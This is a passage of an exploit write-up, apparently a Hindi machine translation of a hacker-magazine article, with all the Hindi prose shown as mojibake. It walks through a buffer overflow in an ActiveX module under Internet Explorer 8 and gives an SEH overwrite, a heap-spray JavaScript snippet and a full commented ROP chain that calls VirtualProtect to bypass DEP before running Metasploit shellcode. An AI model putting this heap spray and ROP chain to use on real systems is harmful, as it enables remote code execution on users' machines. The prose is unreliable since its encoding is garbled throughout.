рдкрд░реЗ рдЬрд╛рдПрдЧрд╛ред рдХреНрд▓рд╛рд╕рд┐рдХ рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ред рд▓реЗрдХрд┐рди рд╣рд╛рд╕реНрдп рдпрд╣ рд╣реИ рдХрд┐ рдкрд░реНрдпрд╛рдкреНрдд рд░реВрдк рд╕реЗ рд▓рдВрдмреА рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдорд╛рди рдХреЗ рд╕рд╛рде, errorText рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдФрд░ рдЪреВрдВрдХрд┐ рд▓реВрдк рдПрд░рд░рдЯреЗрдХреНрд╕реНрдЯ рдХреЗ рдЕрдВрдд (рд╢реВрдиреНрдп рдмрд╛рдЗрдЯ) рдореЗрдВ рдЬрд╛рддрд╛ рд╣реИ, рдпрд╣ рдЕрдирд┐рд╢реНрдЪрд┐рдд рдХрд╛рд▓ рддрдХ рдЪрд▓рд╛ рдЬрд╛рдПрдЧрд╛, рд╕реНрдЯреИрдХ рдХреЛ рдЙрд╕рдХреЗ рдмрд╣реБрдд рдЕрдВрдд (рд╢реБрд░реБрдЖрдд) рддрдХ рдирд╖реНрдЯ рдХрд░ рджреЗрдЧрд╛ред рд╕рдм рдХреЗ рдмрд╛рдж, рдУрд╡рд░рд░рд╛рдЗрдЯрд┐рдВрдЧ рдХреЗ рдмрд╛рдж (strcpy рдХреЙрд▓ рдХреЗ рдХрд╛рд░рдг рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣), errorText рдореЗрдВ рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реЛрдЧрд╛, рдФрд░ рд╕реВрдЪрдХ рдмрдлрд░рдСрдЙрдЯ рд╕реЗ рдХрдо рд╣реЛрдЧрд╛ред рдпрд╣ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рд▓реВрдк рдореЗрдВ, рд╡рд░реНрддрдорд╛рди рдПрд░рд░рдЯреЗрдХреНрд╕реНрдЯ рдкреЙрдЗрдВрдЯрд░, рдмрдлрд░рдСрдЯ рдХреЗ рдордзреНрдп рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдЧрд╛, рдЬрд┐рд╕рдХрд╛ рдкреЙрдЗрдВрдЯрд░ рдмрдврд╝реЗрдЧрд╛ред рдкрд░рд┐рдгрд╛рдо рдПрдХ рд▓реВрдк рд╣реИред
рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ рдХрд┐ strcpy:

рдЕрдХрдбрд╝ рдХреЗ рдмрд╛рдж:

рдФрд░ рд▓реВрдк рдХреЗ рдЕрдВрдд рдореЗрдВ, рдПрдХ рдЕрдкрд╡рд╛рдж рд╣реЛрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рд╕реНрдЯреИрдХ рд╕реЗ рдЖрдЧреЗ рдирд┐рдХрд▓ рдЧрдП:

рдЬрд╛рд╣рд┐рд░ рд╣реИ, рд╣рдордиреЗ рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдЕрдкрд╡рд╛рдж рд╣реИрдВрдбрд▓рд░ рдХреЛ рднреА рдорд┐рдЯрд╛ рджрд┐рдпрд╛ ...
рд╢реЛрд╖рдг
рдЗрд╕ рдЕрдзреНрдпрд╛рдп рдХреЛ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдХреЗ рд▓рд┐рдП рдЕрдЪреНрдЫреЗ рдкреБрд░рд╛рдиреЗ рд╢реЛрд╖рдг рдХреЗ рд╡рд┐рд╡рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╢реИрд▓реА рдХреЗ рдХреНрд▓рд╛рд╕рд┐рдХреНрд╕! рдЗрд╕рд▓рд┐рдП, рд╣рдордиреЗ рдПрд╕рдИрдПрдЪ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрд╛ рдФрд░ рдПрдХ рдЕрд╕рд╛рдзрд╛рд░рдг рд╕реНрдерд┐рддрд┐ рдмрдирд╛рдИ рдЬрдм рдмрдлрд░рдСрдЯ рдиреЗ рд╕реНрдЯреИрдХ рдХреЗ рдкреАрдЫреЗ рдПрдХ рдЕрдЬреНрдЮрд╛рдд рдЬрдЧрд╣ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рджрд┐рдпрд╛ред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдкреЙрдЗрдВрдЯрд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рдг рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП:

рд╣рдорд╛рд░рд╛ рдХрд╛рдо рд╣реИрдВрдбрд▓рд░ рдХреЛ рдкреЙрдЗрдВрдЯрд░ рдХреЗ рдмрдЬрд╛рдп рд╢реЗрд▓рдХреЛрдб рдкреЙрдЗрдВрдЯрд░ рдХреЛ рд╕реНрд▓рд┐рдк рдХрд░рдирд╛ рд╣реИред рдЪреВрдВрдХрд┐ IE рдбреАрдИрдкреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рд╡рд┐рдХрд▓реНрдк рд░реЛрд▓ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╣рдорд╛рд░рд╛ рд╢реЗрд▓рдХреЛрдб (рд╕реНрдЯреИрдХ рдкрд░ рдпрд╛ рдвреЗрд░ рдкрд░) рдореЗрдореЛрд░реА рдореЗрдВ рд╣реИ рдЬреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдирд╣реАрдВ рд╣реИред рд╣рдо рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ рдХрд┐ ActiveX RBS рдореЙрдбреНрдпреВрд▓ ASLR рдФрд░ SafeSEH рдХреЗ рд╕рдорд░реНрдерди рдХреЗ рдмрд┐рдирд╛ рд╕рдВрдХрд▓рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдкрд╣рд▓рд╛ рд╣рдореЗрдВ рдЗрд╕ рдкреБрд╕реНрддрдХрд╛рд▓рдп рд╕реЗ рд╕реНрдореГрддрд┐ рдореЗрдВ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдкрддреЗ рдХрд╛ рдЬреНрдЮрд╛рди рджреЗрддрд╛ рд╣реИ, рдФрд░ рджреВрд╕рд░рд╛ - рдЕрдкрд╡рд╛рдж рд╣реИрдВрдбрд▓рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЗрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рднреА рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ред рдЗрд╕ рдкреНрд░рдХрд╛рд░, ASLR (рдЖрдВрд╢рд┐рдХ рд░реВрдк рд╕реЗ) рдФрд░ SafeSEH (рдкреВрд░реА рддрд░рд╣ рд╕реЗ) рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреА рд╕рдорд╕реНрдпрд╛ рдЕрдкрдиреЗ рдЖрдк рд╣реА рдЧрд╛рдпрдм рд╣реЛ рдЧрдИред рдЖрдЦрд┐рд░рдХрд╛рд░, рддрдерд╛рдХрдерд┐рдд рд░рд┐рдЯрд░реНрди-рдУрд░рд┐рдПрдВрдЯреЗрдб рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ (рдЖрд░рдУрдкреА) рдЦреЗрд▓ рдореЗрдВ рдЖрддрд╛ рд╣реИред рдЖрдк рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ ROP рд╣реИрдХрд░ рдкрддреНрд░рд┐рдХрд╛ рдХреЗ рдПрдХ
рд▓реЗрдЦ рдореЗрдВ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдиреАрдЪреЗ рдХреА рд░реЗрдЦрд╛ рд╕рд░рд▓ рд╣реИ: рдПрдХ рд╣реИрдВрдбрд▓рд░ рдХреЗ рд░реВрдк рдореЗрдВ, рд╣рдо рдПрдХ рд╣реА рдореЙрдбреНрдпреВрд▓ рд╕реЗ рдирд┐рд░реНрджреЗрд╢ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, .text рдЕрдиреБрднрд╛рдЧ рд╕реЗ, рдЬреЛ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╣реИ, рдФрд░ рд╣рдо рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рд╡рд╣рд╛рдВ рдХреЗ рдкрддреЗ рдЬрд╛рдирддреЗ рд╣реИрдВред рдирддреАрдЬрддрди, рдЗрди рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдФрд░ рдирд┐рдпрдВрддреНрд░рдг рд╕реЗ рдмрд╛рд╣рд░ рдХрд┐рдП рдЬрд╛рдиреЗ рдХреЗ рдмрд╛рдж рдирд┐рдпрдВрддреНрд░рдг рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЕрдВрддрд┐рдо рдирд┐рд░реНрджреЗрд╢ рдПрдХ рд╡рд╛рдкрд╕реА рдирд┐рд░реНрджреЗрд╢ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП - RET / RET n (рдпрд╛ JMP / CALL reg, рд▓реЗрдХрд┐рди рдпрд╣ рдХрдо рдЖрдо рд╣реИ)ред рдлрд┐рд░ рдЕрдЧрд▓реЗ рдирд┐рд░реНрджреЗрд╢ рдХреЛ рд╕реНрдЯреИрдХ рд╕реЗ рд╕рд╣реЗрдЬреЗ рдЧрдП рдирд┐рдХрд╛рд╕ рдкрддреЗ рдХреЗ рд░реВрдк рдореЗрдВ рд▓рд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд▓реЗрдХрд┐рди рд╣рдо рдЕрднреА рднреА рд╕реНрдЯреИрдХ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ (рдПрд╕рдИрдПрдЪ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддреЗ рд╕рдордп, рд╕реНрдЯреИрдХ "рд╢рд┐рдлреНрдЯреНрд╕")ред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рддрд░рд╣ рдХрд╛ рдкрд╣рд▓рд╛ рдирд┐рд░реНрджреЗрд╢ рдИрдПрд╕рдкреА рдХреЛ рд╣рдорд╛рд░реЗ рдирд┐рдпрдВрддреНрд░рдг рд╡рд╛рд▓реЗ рдХреНрд╖реЗрддреНрд░ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрд╕ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдЕрдиреНрдп рд░рд┐рдЯрд░реНрди-рдирд┐рд╖реНрдкрд╛рджрди рдкрддреЗ рд╣реЛрдВрдЧреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, SEH рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЙрдЗрдВрдЯрд░ рдХреЗ рдмрдЬрд╛рдп, рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрддрд╛ (ASCII рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП): 10014324 рдбрд╛рд▓реЗрдВ
0x10014324: MOV ESP, 3b1002b1 / RETN
рдирддреАрдЬрддрди, рдИрдПрд╕рдкреА 0x3b1002b1 рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдЧрд╛ред рд▓реЗрдХрд┐рди рдЗрд╕ рдкрддреЗ рдкрд░ рдореЗрдореЛрд░реА рдореБрдлреНрдд рд╣реИ, рдФрд░ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, RETN рдЕрдЧрд▓реЗ рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рд▓реЗ рдкрд╛рдПрдЧрд╛ ...
HeapSpray
рдЪреВрдВрдХрд┐ рдореЗрдореЛрд░реА рдореБрдлреНрдд рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ рд▓реЗ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рддреБрдЪреНрдЫ - рд╣реАрдк рд╕реНрдкреНрд░реЗ рд╕реЗ рд╣рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдо рдЕрдкрдиреЗ рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдмрдбрд╝реЗ рдРрд░реЗ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред IE9 (рдФрд░ рдирдИ FF рдореЗрдВ рдХреБрдЫ) рдХреЗ рдкрд╛рд╕ рд╕реНрдкреНрд░реЗ рд╕реНрдкреНрд░реЗ - рдиреЛрдЬрд▓ рдФрд░ рдмрдмрд▓ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдереЛрдбрд╝рд╛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХрдХрд░рдг рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрддреЗ рд╣реБрдП, рдЗрд╕реЗ рд╣рд▓ рднреА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди IE8 рдореЗрдВ рд╕рдм рдХреБрдЫ рд╕рд░рд▓ рд╣реИ:
var data= ROP_NOP + ROP + SHELLCODE; bk=data.substring(0,data.length); while(bk.length<0x40000) bk = bk+bk; var h1=new Array(); h1[0] = bk; for (var i = 1 ; i < 1800 ; i++) { h1[i]= h1[0].substring(0,h1[0].length ); }
ROP_NOP - рдпрд╣ рдбреЗрдЯрд╛ 0x3b1002b1 рдкрддреЗ рдкрд░ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рдорд╛рди MOV ESP, 0x3b1002b1 рдХреЗ рдмрд╛рдж RET рдХреЗ рд▓рд┐рдП рдкрддрд╛ рд╣реЛрдЧрд╛ред ROP_NOP RETN рдирд┐рд░реНрджреЗрд╢ рдХреЗ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдкрддреЗ рдХреЗ рд╕рд╛рде рдПрдХ рдмрдбрд╝рд╛ рдкрд░реНрдпрд╛рдкреНрдд рдЯреБрдХрдбрд╝рд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рдПрдХ рддрд░рд╣ рдХрд╛ рдЖрд░рдУрдкреА рдПрдирдУрдкреА рдПрдирд╛рд▓реЙрдЧ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрддреЗ рдкрд░ 0x1001023c рдирд┐рд░реНрджреЗрд╢ RETN рдирд┐рд╣рд┐рдд рд╣реИред
рдЖрд░рдУрдкреА - рдпрд╣рд╛рдВ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП рдкрддреЛрдВ рдХрд╛ рдПрдХ рд╕рдореВрд╣ рд╣реИ рдЬреЛ рд╕рд╛рдореВрд╣рд┐рдХ рд░реВрдк рд╕реЗ рдХрд░реНрдиреЗрд▓ 32 рдХреЗ рд▓рд┐рдП рдЦреЛрдЬ рдХрд░рддреЗ рд╣реИрдВред рд╡рд┐рд╡рд╛рджрд╛рд╕реНрдкрджрдкреНрд░реЛрдЯреЗрдХреНрдЯ рдлрд╝рдВрдХреНрд╢рди, рдФрд░ рдлрд┐рд░ рдЗрд╕реЗ рд╣рдорд╛рд░реЗ рдвреЗрд░ рдкрд░ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрдирд╛рддреЗ рд╣реИрдВ (рдЗрд╕ рддрд░рд╣ рд╕реЗ рдбреАрдИрдкреА рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ)ред рддрдм рдЖрдк рд╣реАрдк рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
SHELLCODE - VirtualProtect рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдирд┐рдпрдВрддреНрд░рдг рдпрд╣рд╛рдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣рд╛рдВ рд╢реЗрд▓рдХреЛрдб (рд╡рд┐рд╢рд┐рд╖реНрдЯ рдирд┐рд░реНрджреЗрд╢) рд╣реИред

рдпрд╣рд╛рдВ рд╣рдо рдЯреНрд░рд┐рдЧрд░ рднреЗрджреНрдпрддрд╛ рд╕реЗ рдкрд╣рд▓реЗ рдореЗрдореЛрд░реА рдХреЛ рд░реЛрдХ рд░рд╣реЗ рд╣реИрдВред рдлрд┐рд░, рдЬрдм рдЕрдкрд╡рд╛рдж рд╣реИрдВрдбрд▓рд░ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ ESP рдкреЙрдЗрдВрдЯрд░ рд╣рдо рдЙрд╕ рдбреЗрдЯрд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕реЗ рд╣рдо рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдЬрд╣рд╛рдВ ROP рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЭреВрда рд╣реЛрдЧрд╛ред рдПрдХ рдХрд╛рд░рдирд╛рдореЗ рдФрд░ ROP рдХрд╛рд░реНрдпрдХреНрд░рдо рдХрд╛ рд╡реАрдбрд┐рдпреЛ рдЙрджрд╛рд╣рд░рдг:
рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдбреЗрд╡рд▓рдкрд░ рдХреЛ рдзрдиреНрдпрд╡рд╛рджред рдореЙрдбреНрдпреВрд▓ рдХреЗ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рд╛рде, рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдЗрд╕рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ!

рдЖрдкрдХреЗ рд╕рд╛рде
d00kie рдерд╛ред рдЖрд╢рд╛ рд╣реИ рдХрд┐ рдпрд╣ рдордЬреЗрджрд╛рд░ рдерд╛ред Hack'em'all 8)
рдкреБрдирд╢реНрдЪ
рдЬрд┐рдЬреНрдЮрд╛рд╕реБ рдХреЗ рд▓рд┐рдП, рдореИрдВ рдЖрд░рдУрдкреА рдХрд╛рд░реНрдпрдХреНрд░рдо рд▓рд╛рддрд╛ рд╣реВрдВ:
//0x10009de4 -- POP EDI # POP ESI # POP EBX # RETN
//0xffffffcc -- EDI (-52)
//0x11111111 -- ESI
//0x1002b074 тАУ kernel32.flushinstructioncache EBX
//0x10013f67 -- ADD EDI,DWORD PTR DS:[EBX] # RETN
// VirtualProtect ( [EBX]-52=VirtualProtect ... 8)
//0x1000bf35 -- MOV EAX,EDI # POP EDI # POP ESI # RETN 04 VirtualProtect EAX
//0x11111111 -- trash
//0x11111111 -- trash
//0x1002879d -- PUSH EAX # RETN // call VirtualProtect
//0x11111111 -- trash
//0x1000fd72 -- JMP ESP <--- VP, ESP,
//0x3b1002b5 -- (1) <--- VP
//0x00010000 тАУ (2) ( , )
//0x00000040 тАУ (3) RWX <---
//0x3b1002b1 тАУ (4)
//0x90909090 -- VP, (NOP)
рдЪреВрдВрдХрд┐ рдИрдЖрдИрдкреА рдФрд░ рдИрдПрд╕рдкреА рдПрдХ рд╣реА рдкреГрд╖реНрда рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рд╢реЗрд▓рдХреЛрдб рд╕рдВрдЪрд╛рд▓рди рдХреЛ рдирдХрд╛рд░рд╛рддреНрдордХ рд░реВрдк рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░реЗрдЧрд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, WinExec- рдХреЙрд▓ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛)ред рдЗрд╕рд▓рд┐рдП, рд╢реЗрд▓рдХреЛрдб рд╕реЗ рдкрд╣рд▓реЗ (рдЬреЛ рдореИрдВрдиреЗ рдореЗрдЯрд╛рд╕рдкреНрд▓рд┐рдЯ рд╕реЗ рд▓рд┐рдпрд╛ рдерд╛), рдЖрдкрдХреЛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╕реНрдЯреИрдХ рдкрд░ рдкреБрд░рд╛рдиреЗ рдкреЙрдЗрдВрдЯрд░ рдХреЗ "рд░реЗрд╕реНрдЯрд░" рдХреЛ рд▓рдЧрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:
MOV ESP, EBP
-
рдкреНрд░рдпреБрдХреНрдд рд╕реЙрдлреНрдЯрд╡реЗрдпрд░:
COMRaider
рдЖрдИрдбреАрдП 6.2 рдбреЗрдореЛрдЗрдореНрдпреВрдирд┐рдЯреА рдбрд┐рдмрдЧрд░mona.pyTypeLib рдмреНрд░рд╛рдЙрдЬрд╝рд░